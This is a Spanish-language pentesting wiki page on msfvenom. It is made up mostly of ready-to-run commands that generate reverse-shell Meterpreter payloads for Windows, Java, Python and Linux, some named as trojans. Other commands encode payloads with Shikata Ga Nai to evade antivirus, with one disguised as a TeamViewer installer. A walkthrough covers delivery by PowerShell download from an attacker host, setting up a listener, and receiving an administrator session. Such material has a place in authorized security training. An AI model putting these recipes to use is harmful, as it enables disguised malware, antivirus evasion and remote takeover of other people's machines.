Page cover

☠️Msfvenom

Msfvenom es una herramienta de línea de comandos que se utiliza para generar payloads personalizados para una amplia variedad de sistemas operativos y arquitecturas.

Listado de payloads disponibles

msfvenom -l payloads

Empleo

msfvenom -h

Utiliza el comando "msfvenom" para crear un payload personalizado. Por ejemplo, el siguiente comando crea un payload de reverse de shell de Windows:

Sintaxis 1
# Para Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_Address> LPORT=<Port> -f exe > payload.exe

# En Java
msfvenom -p java/meterpreter/reverse_tcp LHOST=<IP_Address> LPORT=<Port> -f jar > payload.jar
Sintaxis 2
# En python
msfvenom -p python/meterpreter/reverse_tcp LHOST={nuestra_ip} LPORT=4444 -o troyano.py

# Para Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST={nuestra_ip} LPORT=4444 -o troyano.exe

# Para Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<tu_IP> LPORT=<puerto> -f elf > shell.elf

Buffer Overflow en Linux - Shellcode

msfvenom -p linux/x86/shell_reverse_tcp lhost={IP-ATACANTE} lport={PUERTO} --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode

Evasión de Antivirus

Codificación Shikata Ga Nai

Shikata Ga Nai es un encoder de Metasploit que se utiliza para ofuscar payloads, dificultando así su detección por sistemas antivirus. Este encoder emplea un algoritmo de codificación polimórfico, lo que significa que genera diferentes versiones del mismo payload en cada ejecución, evitando la generación de firmas estáticas. Aunque mejora las posibilidades de evadir antivirus, no garantiza la evasión completa debido a que los antivirus también evolucionan para detectar patrones de obfuscación.

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
Saved as: TeamViewerInstall.exe

En sistemas Windows antiguos especificamos la arquitectura x86 y en sistemas Windows modernos deberíamos especificar la arquitectura x64


MSF Build

También podemos automatizar este proceso con MSF Build, un script que he desarrollado en python que nos genera automáticamente el ejecutable con la codificación Shikata Ga Nai y otras medidas de evasión de antivirus.


Caso Práctico

Meterpreter para Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 --platform windows -a x64 -n 200 -e generic/none -i 4 -f exe -o reverse_shell.exe
  1. Enviar reverse_shell.exe a la máquina Windows por el método que queramos:

En Kali Linux
cd <carpeta de la reverse shell>
python2 -m SimpleHTTPServer
# o
python3 -m http.server
En Windows
(New-Object Net.WebClient).DownloadFile('http://{IP-ATACANTE}/reverse_shell.exe','reverse_shell.exe')
  1. Nos ponemos en escucha con Netcat o Metasploit/multi/handler por el puerto asignado:

Con Netcat
nc -lvnp 4444
Con Metasploit
msfconsole
use exploit/multi/handler 
set LHOST 127.0.0.1
set LPORT 4444
set PAYLOAD python/meterpreter/reverse_tcp # o el que hayamos puesto en msfvenom
exploit
  1. Ejecutar reverse_shell.exe en la máquina Windows

. .\reverse_shell.exe
  1. Recibimos la sesión de Meterpreter 😎

[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Sending stage (177734 bytes) to 192.168.1.133
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 192.168.1.133:49402) at 2025-01-29 09:50:19 +0000

meterpreter > getuid
Server username: VAGRANT-2008R2\Administrator

Hack Tools Plugin

Este plugin disponible nos permite crear payloads a medida de MsfVenom, pudiendo configurar nuestra IP, puerto, plataforma objetivo, arquitectura y nuestro payload, en este caso un Meterpreter.

Hack Tools PLugin

👾Meterpreter🛡️Evasión de Antivirus

Última actualización

¿Te fue útil?